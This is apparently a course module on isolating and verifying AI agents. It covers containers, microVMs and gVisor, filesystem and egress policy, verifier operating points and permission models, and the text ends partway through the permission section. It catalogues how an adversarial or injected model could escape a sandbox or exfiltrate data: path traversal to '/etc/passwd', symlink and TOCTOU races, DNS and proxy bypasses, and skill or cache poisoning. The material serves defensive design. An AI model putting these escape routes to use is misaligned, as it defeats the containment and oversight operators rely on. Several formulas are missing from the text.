Weeks 9–10. Prerequisite: Modules 1–6 and Part 0, §§0.5, 0.7, 0.9.

7.0 Module map and objectives

Modules 1–6 built and classified the harness. This module addresses the layer where the agent’s actions actually take effect — the Execution layer of ETCLOVG — and the two mechanisms that make autonomy safe: isolation (so a misbehaving run cannot escape) and verification (so a wrong output is caught before release). The two are linked: isolation bounds the damage a failure can cause, and verification decides whether a failure is likely; together they determine the autonomy the deployment can bear (Part 0, §0.5).

The module has five parts and one lab.

By the end of the module you will be able to do eight things:

1. State the threat model for an agent’s execution environment, and name the five classes of adversary.
2. Compare containers, microVMs, and gVisor-class sandboxes on isolation strength, startup cost, and operational complexity, and choose among them for a stated threat model.
3. Design a filesystem and network egress policy, and name the escape vectors each policy must defend against (path traversal, symlink, TOCTOU, DNS, proxy bypass).
4. Specify a permission engine formally as a deterministic pre-execution function, and distinguish it from prompt-based guidance.
5. Measure the policy engine’s false-allow and false-deny rates on an adversarial suite, using the verifier framework of Part 0, §0.5.
6. Design a recovery strategy (idempotent tools, checkpoint/rollback, loop detection) and state the recovery guarantee it provides.
7. Characterise a verifier’s operating point (TPR, FPR, precision) and use it in the autonomy decision.
8. Lay out a reproducible environment and state what “reproducible” means operationally.

Everything is self-contained. Where Part 0 or a prior module is used, the result is restated.

PART A — ISOLATION PRIMITIVES

7.1 The threat model

7.1.1 Why isolation is necessary

An agent’s actions are executed by the harness. The actions are generated by a model, and the model’s output is not trustworthy in the security sense: it may be wrong (a bug), it may be manipulated (a prompt injection, Module 19), or it may be malicious (a compromised model or a model behaving adversarially). The harness must assume that any action may be an attack, and isolate the execution so that a successful attack is contained.

Definition 7.1.1 (Isolation). Isolation is the property that an action’s execution cannot affect anything outside a defined boundary — the sandbox — except through the explicitly permitted channels. The boundary is defined by the isolation primitive; the permitted channels are defined by the policy (§7.14).

Isolation is not the same as permission. Permission decides whether an action is allowed; isolation decides what happens if it is allowed and turns out to be harmful. A permission policy that is perfectly correct still needs isolation, because the policy may be wrong (a false allow, §7.16) or the action may be harmful in a way the policy did not anticipate (a tool vulnerability, an injection).

7.1.2 The five adversary classes

The threat model is defined by the adversaries the sandbox is designed to contain. Five classes, in increasing capability.

Class 1 — The erroneous model. The model produces a wrong action — a typo in a path, a malformed command, an infinite loop. No malice; just errors. Defence: bounds, validation, isolation against accidental damage.

Class 2 — The manipulated model. The model is induced, by content it reads (a file, a web page, a tool output), to take an action the operator did not intend. This is indirect prompt injection (Module 19). No malice in the model; the malice is in the content. Defence: isolation against the injected action’s effects, plus the injection defences of Module 19.

Class 3 — The compromised tool. A tool the harness calls returns malicious content or executes malicious code (a poisoned package, a compromised MCP server, a malicious skill). Defence: isolation of the tool’s execution, validation of its output, supply-chain hygiene (Module 19).

Class 4 — The compromised model. The model itself is malicious — a backdoored open-weight model, or a model whose provider is adversarial. Defence: isolation, because the model’s outputs cannot be trusted at all; the policy engine is the only defence, and it must be independent of the model.

Class 5 — The compromised harness. The harness’s own code is compromised. Defence: none from within the harness; the defence is the deployment perimeter (the harness runs in its own sandbox, with its own credentials, and the blast radius is bounded by the infrastructure). This class is out of scope for the harness’s isolation, and is a Module 19/20 concern.

The sandbox’s job is to contain Classes 1–4. The choice of isolation primitive is a function of which classes are in scope.

7.1.3 The scope decision

Not every deployment needs to defend against Class 4. A harness running a trusted proprietary model on a developer’s laptop, on the developer’s own code, has a threat model of Classes 1–2 (the model may be wrong or manipulated, but the model itself is not adversarial). A harness serving untrusted users with an open-weight model needs Class 4 (the model may be adversarial). The scope decision determines the primitive.

Procedure 7.1.2 (Scope the threat model). For a deployment, answer:

1. Is the model trusted? (If no, Class 4 is in scope.)
2. Are the tools trusted? (If no, Class 3 is in scope.)
3. Does the agent read untrusted content? (If yes, Class 2 is in scope.)
4. Does the agent take irreversible actions? (If yes, Class 1 is in scope with consequences.)

The highest class in scope sets the isolation requirement. A deployment that answers “no” to all four needs bounds and validation, not a sandbox. A deployment that answers “no” to (1) needs a strong sandbox, because the model is the adversary.

The procedure is deliberately conservative: a “yes” on (3) is enough to put Class 2 in scope, and Class 2 is the most common real-world threat (indirect injection through content the agent reads). Most production deployments are in scope for Class 2, even when they think they are not.

7.2 The isolation primitives

7.2.1 Containers

Mechanism. Linux namespaces (PID, network, mount, user, IPC, UTS, cgroup) and cgroups. The container shares the host kernel; the namespaces isolate the process’s view of the system, and cgroups limit its resource use.

Isolation strength. Moderate. The kernel is shared, so a kernel vulnerability can escape the container. The isolation is only as strong as the kernel’s correctness, and the kernel is a large attack surface. In practice, container escapes are rare but not unknown, and a container running untrusted code is not a security boundary in the strong sense — it is a convenience boundary.

Startup cost. Low. Milliseconds to a second. Containers start fast because they do not boot an OS.

Operational complexity. Low. The tooling (Docker, containerd, Podman) is mature, and the operational patterns (images, registries, orchestration) are well understood.

When to use. Class 1–2 (erroneous or manipulated model, trusted tools, trusted kernel). The container contains accidental damage and provides a reproducible environment; it is not a defence against a determined adversary.

7.2.2 MicroVMs

Mechanism. A minimal virtual machine monitor (VMM) that boots a minimal kernel in a separate VM. Firecracker is the canonical example: it uses the KVM hypervisor, boots a Linux kernel in a few hundred milliseconds, and exposes a minimal device model (virtio-net, virtio-block, a serial console) to reduce the attack surface.

Isolation strength. Strong. The guest has its own kernel, so a guest-kernel vulnerability does not escape to the host. The host attack surface is the VMM (small, by design) and the hypervisor (KVM), both of which are smaller than the full kernel.

Startup cost. Moderate. Hundreds of milliseconds — slower than a container, fast enough for per-task VMs.

Operational complexity. Moderate to high. The VMM must be configured, the guest image must be built and maintained, and the networking and storage must be set up. Firecracker is a library, not a product; using it requires building the surrounding infrastructure.

When to use. Class 3–4 (compromised tool, compromised model) and any deployment where the code being run is untrusted. The strong isolation is the point, and the startup cost is acceptable when tasks take seconds to minutes.

7.2.3 gVisor-class sandboxes

Mechanism. A user-space kernel that intercepts the sandboxed process’s system calls and implements them in Go, rather than passing them to the host kernel. The host kernel sees only a small, filtered set of system calls (the sentry’s), so a guest-kernel vulnerability does not reach the host.

Isolation strength. Strong, with a compatibility cost. The isolation is stronger than a container (the host kernel is not directly exposed) and comparable to a microVM (the user-space kernel is the boundary). The cost is compatibility: the user-space kernel implements a subset of the Linux API, and some workloads (certain syscalls, certain /proc or /sys behaviours, some performance-sensitive code) do not run correctly or run slowly.

Startup cost. Low to moderate. gVisor can start in the same order of magnitude as a container, because it does not boot a full kernel.

Operational complexity. Moderate. The runtime (runsc) integrates with container tooling, so the operational pattern is similar to containers, but the compatibility issues require testing.

When to use. Class 3–4 where the workload is Linux-compatible and the compatibility cost is acceptable. It is often the best trade-off for a code-execution agent: stronger than a container, faster and more compatible than a microVM, and operationally closer to a container.

7.2.4 The comparison

The decision rule. Choose the weakest primitive that covers the highest adversary class in scope. Class 1–2: container. Class 3–4: microVM or gVisor, chosen by the compatibility and operational constraints. Class 0: no sandbox, with bounds and validation (the Module 1 scaffold).

The rule is biased toward the simpler primitive, consistent with the curriculum’s philosophy (Module 1, §1.8.2; Module 2, §2.4.5). A sandbox that is stronger than the threat model requires is over-engineering; one that is weaker is a vulnerability. The scope procedure (§7.1.3) is what determines which.

7.2.5 The escape taxonomy

The primitives are defences; the escapes are what they defend against. Five classes, each relevant to a different primitive.

Escape 1 — Kernel exploit. A vulnerability in the shared host kernel, exploited from within the container. Defence: a primitive that does not share the kernel (microVM, gVisor).

Escape 2 — Privileged container misconfiguration. A container run with --privileged, or with a sensitive capability, or with a mount that exposes the host. Defence: configuration discipline; the primitive cannot save a misconfigured container.

Escape 3 — Side-channel. Information leaked through timing, cache, or other shared resources. Defence: hardware isolation or careful resource partitioning; hard to defend fully, and out of scope for most harnesses.

Escape 4 — Resource exhaustion. A process consuming all the host’s CPU, memory, or disk, degrading other workloads. Defence: cgroups limits, which are orthogonal to the isolation primitive.

Escape 5 — Network pivot. The sandbox reaching a network service it should not, either directly (no egress policy) or through a proxy/DNS bypass. Defence: the egress policy of §7.5, which is orthogonal to the isolation primitive.

The taxonomy matters because it shows that the isolation primitive is only one of the defences. A microVM with no egress policy is still vulnerable to Escape 5; a container with a strict egress policy and no privileged flags is robust against Escapes 2 and 5, and vulnerable only to Escape 1 (which is rare) and Escape 3 (which is usually out of scope).

7.2.6 Concept check

Why is a container not a security boundary against an adversarial model?

Answer. Because the container shares the host kernel, and a kernel vulnerability can escape the container to the host. The isolation is a convenience boundary — it prevents accidental damage and provides reproducibility — not a security boundary against a determined adversary. For an adversarial model (Class 4), the primitive must not share the kernel: a microVM or a gVisor-class sandbox. The container is the right choice for Classes 1–2 and the wrong choice for Classes 3–4.

7.3 Resource limits

7.3.1 The four resources

Every sandbox should limit four resources, and the limits should be enforced by the primitive, not by the harness.

CPU. A CPU quota (cgroups cpu.max or the microVM’s vCPU count) prevents a runaway process from starving the host. The limit should be expressed as a rate (cores) and a total (CPU-seconds), because a burst is acceptable and a sustained consumption is not.

Memory. A memory limit (cgroups memory.max or the microVM’s memory size) prevents a memory leak or a malicious allocation from exhausting the host. The limit should be enforced with an OOM kill, not a swap, because swapping an agent’s memory can stall the whole system.

Disk. A disk quota (a filesystem quota or a size-limited volume) prevents a process from filling the host’s storage. The limit should include the temporary directories, which are the usual target of an accidental fill.

Wall-clock. A wall-clock timeout prevents a process from running indefinitely. The timeout is enforced by the harness (it kills the process), not by the primitive, but the primitive must allow the kill (the process must be in a cgroup or VM the harness can terminate).

7.3.2 The failure modes

Each limit has a failure mode, and each failure mode must be an observation (Module 1, Property 1).

CPU limit hit. The process is throttled; its latency increases. The harness should report the throttle as a warning, because a throttled agent may be slower than its timeout and appear to hang.

Memory limit hit. The process is OOM-killed; the tool result is an error. The harness should report the OOM as a distinct status, so the model (and the trace analysis) can distinguish it from a logic error.

Disk limit hit. The write fails; the tool result is an error. The harness should report the quota violation, so the agent can clean up or choose a different path.

Wall-clock timeout. The process is killed; the tool result is a timeout. The harness should report the timeout with the elapsed time, so the trace analysis can distinguish a slow tool from a hung one.

7.3.3 The limits are a design decision

The limits are not a default; they are a design decision that depends on the task. A code-editing task needs enough memory for a language server (gigabytes) and enough CPU for a test suite (several cores). A data-analysis task needs more memory and disk. A web-navigation task needs little of either.

The design decision is a trade-off: limits that are too tight kill legitimate work (false denies, in the policy-engine sense of §7.16); limits that are too loose fail to contain the runaway (false allows). The limits should be set from the task’s measured resource profile, with headroom, and reviewed when the task distribution changes.

PART B — FILESYSTEM AND NETWORK POLICY

7.4 Filesystem policy

7.4.1 The policy dimensions

A filesystem policy defines, for each path (or path pattern), the access the sandbox allows. The dimensions:

• Read. Can the process read the file?
• Write. Can the process write (create, modify, delete) the file?
• Execute. Can the process execute the file?
• Mount. Is the filesystem mounted at all, and with what options (read-only, no-exec, nosuid)?

A minimal policy has three regions:

1. Workspace root (read-write). The directory the task is allowed to modify. The agent’s edits happen here.
2. Read-only context (read-only). The codebase, the dependencies, the reference documents. The agent can read them but not modify them.
3. System (read-only, no-exec for the agent). /usr, /lib, /etc, etc. The agent can read (for the tools to work) but not write or execute arbitrary binaries.

The policy is enforced by the mount options and the sandbox’s filesystem view, not by the tool’s validation. The tool validation (§7.14) is the second line of defence; the mount is the first.

7.4.2 The escape vectors

Five vectors, each of which the policy must defend against.

Vector 1 — Path traversal. A path like ../../etc/passwd escapes the workspace root by relative navigation. Defence: canonicalise the path (resolve .. and symlinks) before checking, and check the canonical path against the workspace root. A naive check (path.startsWith(workspace)) is insufficient, because workspace/../etc passes it.

Vector 2 — Symlink. A symlink inside the workspace points outside it. The agent creates a symlink (or a pre-existing symlink is present) and reads or writes through it. Defence: resolve symlinks before checking, and either forbid symlinks in the workspace or check the resolved target. The noexec and nosuid mount options add defence in depth.

Vector 3 — TOCTOU (time-of-check to time-of-use). The path is checked at time $t_1$ and used at time $t_2$; between them, the path is changed (a symlink is swapped, a directory is replaced) so that the use is different from the checked path. Defence: check and use atomically — open the file first, then check the file descriptor rather than the path (e.g., openat with $O_NOFOLLOW$, or the sandbox’s file-descriptor-based API). The path-based check is inherently racy.

Vector 4 — Hard link. A hard link to a file outside the workspace, created inside it, allows the agent to read or write the outside file. Defence: forbid hard-link creation (the sandbox’s filesystem API does not expose it), or check the link’s inode against the allowed set.

Vector 5 — Device file. A device file inside the workspace (e.g., /dev/sda exposed through a mount) allows the agent to access the device. Defence: do not mount device filesystems; use a minimal /dev (a tmpfs with only the needed devices).

The vectors are a checklist. A filesystem policy that does not address all five is incomplete, and the incomplete defences are the ones an adversarial model will find.

7.4.3 The canonical-path check

The check is simple in principle and subtle in practice.

Procedure 7.4.1 (Canonical path check). Given a path $p$ and a workspace root $w$:

1. Resolve $p$ to an absolute path, resolving ., .., and symlinks (realpath).
2. Resolve $w$ to an absolute, symlink-free path.
3. Check that the resolved $p$ is under the resolved $w$, with a path-component comparison (not a string prefix: w=/work and p=/workspace/x share a prefix but $p$ is not under $w$).
4. For a write, additionally check that the parent directory is under $w$ (to prevent creating a file through a symlink that points outside).
5. For TOCTOU safety, perform the check on the file descriptor, not the path, where the API allows it.

The procedure is the reference. An implementation that uses string prefix matching, or that checks before resolving symlinks, is vulnerable to Vectors 1–3, and the vulnerability is not visible in normal operation — it appears only when an adversary (Class 2 or 4) exploits it.

7.4.4 Concept check

Why is path.startsWith(workspaceRoot) an insufficient filesystem check?

Answer. For three reasons. (1) It does not resolve .., so workspaceRoot/../etc/passwd passes the check and escapes. (2) It does not resolve symlinks, so a symlink inside the workspace that points outside passes the check. (3) It is a string prefix, not a path-component comparison, so workspaceRoot=/work and path=/workspace/x passes even though /workspace/x is not under /work. The correct check resolves the path, resolves the root, and compares components — and for TOCTOU safety, checks the file descriptor rather than the path.

7.5 Network egress policy

7.5.1 The default

Design principle (egress). The default is no egress. The sandbox has no network access unless a specific destination is explicitly allowed. The allowlist is a positive list of destinations, and everything else is denied.

The principle is the opposite of the usual default (allow everything, block a list of bad destinations), and the inversion is the point: a blocklist is always incomplete, because the adversary chooses the destination, and the list of bad destinations is unbounded. A positive list is bounded by the legitimate need, which is small and known.

7.5.2 The policy dimensions

• Destination. A hostname, IP, CIDR, or domain pattern.
• Port. The allowed ports (usually 443 for HTTPS, rarely others).
• Protocol. HTTP/HTTPS; raw TCP is rarely needed.
• Direction. Egress only; ingress is not needed for an agent.
• Time. Optional: the allowlist can be time-bounded (a task that needs a specific service for a specific window).

7.5.3 The bypass vectors

An egress policy is only as good as its enforcement, and there are five common bypasses.

Bypass 1 — DNS. The sandbox resolves a hostname to an IP; if the DNS resolver is not controlled, the agent can use a DNS-based exfiltration channel (encode data in DNS queries) or a DNS rebinding attack (resolve a hostname to an internal IP). Defence: control the resolver (use the sandbox’s resolver, not the host’s), and resolve at the policy layer, not in the sandbox.

Bypass 2 — IP literal. The agent uses an IP literal rather than a hostname, bypassing a hostname-based allowlist. Defence: the policy must enforce on the resolved IP, not just the hostname; and the allowlist should be expressed as CIDRs if the service’s IPs are stable.

Bypass 3 — Proxy. The sandbox reaches a proxy that forwards to an arbitrary destination. Defence: deny egress to proxies; if a proxy is needed, it must be the policy’s own proxy, which enforces the allowlist.

Bypass 4 — Side channel. The agent exfiltrates through a permitted channel (e.g., encoding data in the timing of requests to an allowed destination, or in the size of a request). Defence: rate limits, size limits, and traffic analysis; this is hard to defend fully, and the residual risk must be accepted or the channel removed.

Bypass 5 — Ingress through the tool. The agent does not need egress if it can reach the network through a tool that has network access (an MCP server, a tool that fetches URLs). Defence: the tool’s network policy must be part of the overall policy; a tool with unrestricted egress defeats the sandbox’s egress policy.

The bypasses are the reason the policy must be enforced at the network layer (the sandbox’s network namespace, the proxy) rather than at the application layer (the tool’s validation). An application-layer policy is bypassed by any tool that does not use it.

7.5.4 The exfiltration risk

The egress policy is the primary defence against data exfiltration — the agent reading sensitive data and sending it to an attacker. This is the third leg of the lethal trifecta (private data + untrusted content + external communication; Module 2, §2.4.6, and Module 19). The egress policy removes the third leg: if the sandbox cannot communicate externally, the agent cannot exfiltrate, regardless of what it reads.

This is why the default-deny egress policy is an architectural defence, not a hardening measure. It does not depend on the model complying, on the tool being correct, or on the injection being detected. It removes the channel. The analysis of Part 0, §0.5 applies: the egress policy is a verifier for the “exfiltration” failure mode, with a TPR that is high (it blocks most channels) and an FPR that is low (it rarely blocks legitimate traffic, because legitimate traffic is on the allowlist). The residual risk is the side channels (Bypass 4), which the policy cannot eliminate.

7.6 Ephemeral versus persistent state

7.6.1 The distinction

Ephemeral state is created for a run and destroyed when the run ends: the sandbox’s filesystem, its processes, its network connections. Persistent state survives across runs: the workspace, the database, the audit log.

The distinction matters because the isolation guarantee is about ephemeral state (a run cannot affect another run through it) and the persistence guarantee is about persistent state (a run’s effects are recorded and recoverable). A harness needs both, and conflating them is a common source of bugs.

7.6.2 The design decision

For each piece of state, the harness must decide whether it is ephemeral or persistent, and the decision has consequences.

Ephemeral state.

• Advantage: isolation. A run’s filesystem is fresh; a compromised run cannot leave a backdoor for the next run.
• Disadvantage: no continuity. A long task that spans multiple runs must externalise its state (Module 8) or repeat its work.
• Use for: the sandbox’s root filesystem, temporary files, process state.

Persistent state.

• Advantage: continuity and audit. The workspace persists; the audit log records what happened.
• Disadvantage: contamination. A run’s effects persist, and a compromised run can leave a backdoor (a modified file, a poisoned cache, a planted skill).
• Use for: the workspace the task is editing, the audit log, the memory store (Module 3).

7.6.3 The contamination risk

The persistent state is the attack surface for persistence attacks: a compromised run modifies the persistent state so that subsequent runs are compromised. Three vectors:

• Workspace poisoning. A run modifies a file (a configuration, a dependency, a test) so that a later run behaves differently.
• Cache poisoning. A run poisons a cache (a build cache, a retrieval index) so that later runs retrieve the poisoned content.
• Skill poisoning. A run modifies a skills file (Module 2, §2.4.4) so that later runs follow malicious instructions.

Defence: the persistent state should be integrity-protected — the harness records a hash of the state at the start of each run and checks it at the end; any modification outside the allowed region is a security event. The audit log (Module 20) is the record; the hash check is the detection.

7.6.4 Concept check

Why is a fresh sandbox per run not sufficient for isolation?

Answer. Because the persistent state (the workspace, the cache, the skills) survives the sandbox. A compromised run can modify the persistent state so that the next run is compromised, even though the next run gets a fresh sandbox. The sandbox isolates the run’s ephemeral state; it does not isolate the persistent state, which is shared by design. The defence is integrity protection of the persistent state, not a fresher sandbox.

7.7 Reproducible environments

7.7.1 What “reproducible” means

Definition 7.7.1 (Reproducible environment). An environment is reproducible if the same inputs produce the same outputs — the same file contents, the same dependency versions, the same tool behaviour — across runs, machines, and time. Formally, for a task $x$ and an environment specification $E$, the result $f(x, E)$ is deterministic: the same $(x, E)$ yields the same result.

Reproducibility is not the same as determinism of the model (the model is stochastic, Module 5, §5.4). It is determinism of the environment: the files, the dependencies, the tools. The model’s stochasticity is separate, and the harness handles it with seeds and repeated runs (Module 5).

7.7.2 The components

Reproducibility requires five components.

Pinned dependencies. Every dependency has an exact version, not a range. A requirements.txt with numpy>=1.20 is not reproducible; one with numpy==1.26.4 is. Lock files (pip’s requirements.txt with hashes, npm’s package-lock.json, Cargo’s Cargo.lock) are the mechanism.

Pinned base images. The base image (the OS, the runtime) has an exact digest, not a tag. ubuntu:latest is not reproducible; ubuntu@sha256:... is.

Deterministic builds. The build process produces the same output from the same input: no timestamps, no random seeds, no build-path-dependent outputs. Reproducible-builds tooling (e.g., SOURCE_DATE_EPOCH) is the mechanism.

Pinned tool versions. The tools the agent uses (the test runner, the linter, the compiler) have exact versions. A tool upgrade changes the behaviour, and the change must be explicit.

A specification artefact. A file that records all of the above: the lock file, the image digest, the tool versions. The artefact is what makes the environment specifiable, and therefore reproducible.

7.7.3 The verification

Reproducibility is verified by rebuilding and comparing: build the environment from the specification on a different machine (or at a different time), and compare the result to the original. The comparison is a hash of the environment (the files, the dependency tree, the tool versions). If the hashes match, the environment is reproducible; if not, the difference is the reproducibility bug.

The verification is a lab exercise (Lab 7 includes it as a secondary criterion), and it is a prerequisite for Module 5’s evaluation: an evaluation on an irreproducible environment is not replicable, and its results are not trustworthy.

7.7.4 Concept check

Why is a pinned dependency list not sufficient for reproducibility?

Answer. Because the dependencies are only one component. The base image, the tool versions, and the build process also affect the result. A pinned dependency list on an unpinned base image (ubuntu:latest) is not reproducible, because the base image changes; a pinned list with a non-deterministic build is not reproducible, because the build output changes. Reproducibility requires all five components, and the specification artefact must record all of them.

PART C — VERIFICATION AS THE CORE OF AUTONOMY

7.8 The verifier taxonomy

7.8.1 The five kinds

The curriculum’s verifier theory (Part 0, §0.5) is abstract; this section gives the concrete taxonomy of verifiers an agent harness uses.

V1 — Test suites. A set of tests that the output must pass. Strength: high (a passing test is strong evidence of correctness). Weakness: incomplete (the tests are a sample of the behaviour; a bug the tests do not cover passes). Cost: moderate (the tests run, which takes time).

V2 — Type checkers and linters. A static analysis that the output must satisfy. Strength: high for the properties they check (types, style, some bugs), low for everything else. Weakness: they check syntax and types, not semantics. Cost: low (they run fast).

V3 — Property-based checks. A property (a universally quantified statement) that the output must satisfy, checked on randomly generated inputs. Strength: high (a property that holds on many random inputs is strong evidence). Weakness: the property must be specified, and specifying it is hard; the check is probabilistic (a property that holds on the samples may fail on an unsampled input). Cost: moderate (the generation and the checks).

V4 — Differential testing. A comparison against a reference implementation: the output must agree with the reference on the same inputs. Strength: high (the reference is a strong oracle). Weakness: the reference must exist, and it may be wrong in the same ways. Cost: moderate (the reference runs).

V5 — LLM-as-judge. A model that scores the output. Strength: flexible (it can score things the other verifiers cannot: style, coherence, helpfulness). Weakness: unreliable (the judge has biases, and it can be gamed, Module 5, §5.13). Cost: low to moderate (one model call).

7.8.2 The composition

The verifiers are not mutually exclusive; a harness typically composes them. The composition is a pipeline: the cheap, high-precision verifiers run first (V2, V1), and the expensive or less reliable ones run on the survivors (V3, V4, V5). The composition’s operating point is the composition of the individual verifiers’ operating points.

Proposition 7.8.1 (Composition of verifiers). If verifiers $V_1,\dots,V_k$ are applied in sequence (the output must pass all), the composed verifier $V_\wedge$ has

where the conditional rates are conditioned on the preceding verifiers’ verdicts. If the verifiers are independent given the correctness state, the products are unconditional.

Consequence. Composing verifiers reduces both TPR and FPR: a correct output must pass all verifiers (so the TPR falls), and an incorrect output must pass all verifiers to be accepted (so the FPR falls). The precision (Part 0, §0.5) can increase or decrease depending on the base rate and the rates. The composition is a trade-off, not a free improvement: the harness must choose the composition that gives the precision it needs at the cost it can bear.

7.8.3 The calibration requirement

A verifier’s operating point is not known until it is measured. The measurement is calibration: run the verifier on a labelled set (inputs with known correctness) and compute its TPR and FPR. The calibration set must be representative of the deployment distribution (Module 5, §5.3), and the measurement must be repeated when the distribution changes.

The calibration requirement is the same as Module 5’s evaluation discipline: a verifier whose operating point is assumed is a verifier whose reliability is unknown, and the autonomy decision (Part 0, §0.5) depends on the operating point. An uncalibrated verifier cannot support an autonomy decision.

7.9 Verifier reliability as a first-class parameter

7.9.1 The autonomy dependency

Restating Part 0, Theorem 0.5.6: autonomous release is rational iff

The verifier’s TPR is the load-bearing quantity. A verifier with TPR 0.85 supports autonomy only if the base rate and the cost ratio are favourable; a verifier with TPR 0.95 supports it in more cases. The TPR is not a property of the verifier in the abstract; it is a property of the verifier on the deployment distribution, and it must be measured.

7.9.2 The measurement

The measurement procedure (developed fully in Module 17b):

1. Collect a labelled set. Outputs with known correctness, from the deployment distribution. At least a few hundred, spanning the distribution.
2. Run the verifier on each output; record its verdict.
3. Compute the confusion matrix: true positives, false positives, true negatives, false negatives.
4. Report TPR, FPR, precision, with confidence intervals (Part 0, §0.1).
5. Vary the threshold (for a verifier with a threshold) and report the ROC curve.
6. Repeat when the distribution changes.

7.9.3 The verifier budget

The verifier’s cost is part of the cost per success (Part 0, §0.5, Theorem 0.5.7):

The verifier’s operating point should be chosen to minimise this, not to maximise TPR. A verifier that catches more failures at a much higher cost may be worse than one that catches fewer at a low cost — the cost-per-success formula makes the trade-off explicit. This is the bridge to Module 17c (verification budget) and Module 22 (unit economics).

7.9.4 Concept check

Why is a verifier’s TPR not a fixed property of the verifier?

Answer. Because it depends on the deployment distribution. A test suite that catches 95% of the bugs in one codebase may catch 70% in another, because the second codebase has bug classes the tests do not cover. The TPR is a property of the verifier on a distribution, and the distribution is the deployment’s. Measuring the TPR on a different distribution (the benchmark, the training set) gives a number that may not transfer. The calibration must be on the deployment distribution, and it must be repeated when the distribution changes.

7.10 The verification loop

7.10.1 The loop

Verification is not a final gate; it is a loop in the harness. The agent produces an output, the verifier scores it, and the score is fed back to the agent (as an observation), which may revise. This is the Reflexion pattern (Module 4, §4.3) with a verifier instead of a self-critique, and it is the pattern the Module 4 lab validates.

The loop’s effectiveness is bounded by the verifier’s reliability (Module 4, Proposition 4.4.1 applied to the verifier): a reliable verifier makes the loop productive; an unreliable verifier makes it a random walk.

7.10.2 The loop’s termination

The loop must terminate. Three conditions:

• Verifier accepts. The output passes; the loop ends with success.
• Budget exhausted. The run has used its steps or tokens; the loop ends with failure (or with the best output so far).
• Diminishing returns. The verifier’s score has not improved for $k$ iterations; the loop ends with the best output so far.

The third condition is the loop detector of §7.19, applied to the verification loop. Without it, the loop can run forever on an output the verifier never accepts, burning budget.

7.10.3 The loop’s cost

Each iteration is a generation plus a verification, so the loop’s cost is $n(C_g+C_v)$ for $n$ iterations. The expected benefit is the increase in success from the iterations. The loop is worth it iff the marginal benefit exceeds the marginal cost, which is the same scaling decision as Module 4, §4.6.5, applied to revisions rather than samples.

7.11 The verifier as a control surface

7.11.1 The control-theoretic reading

Module 9 develops the control-theoretic view of the harness; this section states the verifier’s role in it.

The verifier is a feedback sensor (Module 9, §9.2). It measures the output against the specification and returns an error signal (the verdict and the failure message). The agent is the controller that acts on the error signal. The loop is a feedback loop, and its stability depends on the verifier’s reliability and the agent’s responsiveness (Part 0, §0.7, applied to the verification loop).

The internal model principle (Part 0, §0.7, Proposition 0.7.6) applies: the verifier can only detect the failure modes it models. A test suite models the behaviours the tests cover; an uncovered behaviour is a blind spot. The blind spot is the verifier’s gap, and the harness’s autonomy must be bounded by it — which is why the verifier’s coverage, not just its TPR, is a design variable.

7.11.2 The verifier’s placement

The verifier can be placed at three points, each with a different effect.

Pre-execution. The verifier checks the action before it is executed (a permission check, a schema validation). This is the policy engine of §7.14. Effect: prevents the action; the failure never happens.

Post-execution, pre-release. The verifier checks the output before it is released (the test suite, the type checker). This is the classic verification loop. Effect: catches the failure before it reaches the user; the failure happened in the sandbox but did not escape.

Post-release. The verifier checks the output after it is released (a monitor, an incident detector). Effect: detects the failure after the fact; the failure reached the user, and the verifier’s role is to trigger a rollback or a fix.

The three placements are complementary. A harness should have all three where the stakes justify it: pre-execution for the irreversible actions, post-execution for the outputs, post-release for the residual risk.

7.12 Worked example: a coding harness’s verification stack

7.12.1 The stack

A coding harness with the following verification stack:

1. Pre-execution: a policy engine (§7.14) that checks tool calls against an allowlist, a workspace-root check, and a command allowlist. The engine’s TPR/FPR are measured on an adversarial suite (Lab 7).
2. Post-execution: a test suite (V1) that runs the repository’s tests; a type checker (V2) that runs on the modified files; a linter (V2) that checks style.
3. Post-release: a CI pipeline that runs the full test suite on the merged change; a monitor that watches the production service for regressions.

7.12.2 The operating points

The test suite’s TPR on the deployment distribution is measured at 0.85 (it catches 85% of the bugs the deployment sees); its FPR is 0.05 (it fails 5% of correct changes, usually flaky tests). The type checker’s TPR is 0.60 (it catches type errors, a subset of bugs); its FPR is 0.02. The composed verifier (test suite AND type checker) has, under the independence assumption, TPR $0.85\times0.60=0.51$ and FPR $0.05\times0.02=0.001$. The composition’s TPR is lower than the test suite alone — because a correct change must pass both, and the type checker rejects some correct changes (FPR 0.02, but the composition’s TPR is the product, which is a modelling artefact of the independence assumption; in reality the type checker rarely rejects a correct change, so the composed TPR is closer to the test suite’s).

The worked example’s lesson: the composition’s operating point must be measured, not computed from independence assumptions, because the verifiers are correlated (the type checker and the tests both catch type-related bugs), and the independence assumption gives the wrong answer. This is Module 17b’s calibration discipline, previewed.

7.12.3 The autonomy decision

With the composed verifier’s measured TPR (say 0.80) and FPR (say 0.03), and a base rate $\pi=0.7$, the autonomy threshold is $(1-0.80)\times0.7\times C_f<C_h$. If $C_f/C_h=20$, the left side is $0.20\times0.7\times20=2.8>1$, so autonomy is not rational. The verifier needs a higher TPR (0.90 would give $0.10\times0.7\times20=1.4$, still $>1$; 0.95 gives $0.05\times0.7\times20=0.7<1$, rational). The autonomy decision is a quantitative target for the verifier’s TPR, and the harness’s investment should be in reaching it (Module 17b), not in more model capability.

PART D — PERMISSION MODELS

7.13 The permission problem

7.13.1 What a permission model is

A permission model defines which actions an agent may take, under which conditions, and who authorises them. It is the Governance layer’s core, and it is the pre-execution verifier of §7.11.2.

Definition 7.13.1 (Permission model). A permission model is a tuple $(\mathcal{P}, \mathcal{A}, \mathcal{D}, \mathcal{C})$: a set of principals $\mathcal{P}$ (the agent, the user, the system), a set of actions $\mathcal{A}$, a decision function $\mathcal{D}:\mathcal{P}\times\mathcal{A}\times\mathcal{S}\to{\text{allow},\text{deny},\text{escalate}}$ (where $\mathcal{S}$ is the state), and a set of constraints $\mathcal{C}$ (the policy the decision function encodes).

The decision function has three outcomes, not two: allow, deny, and escalate (route to a human for a decision). The three-way outcome is important: the binary allow/deny forces the policy to decide autonomously in cases where the right answer is “a human should decide,” and the escalation outcome is the mechanism for human-in-the-loop (§7.15).

7.13.2 The design questions

A permission model answers four questions, and each is a design decision.

Question 1 — What is the principal? The agent acts on behalf of a user. Is the permission the user’s (the agent can do what the user can do) or the agent’s (the agent has its own permissions, possibly more restricted)? The first is convenient and dangerous (the agent inherits the user’s full access); the second is safer and requires the user to grant the agent’s permissions explicitly.

Question 2 — What is the granularity? A permission can be per-tool (the agent may call write_file), per-argument (the agent may write to the workspace), per-resource (the agent may modify files under /workspace), or per-action-instance (the agent may make this specific call). The granularity determines the precision of the policy and the complexity of the enforcement.

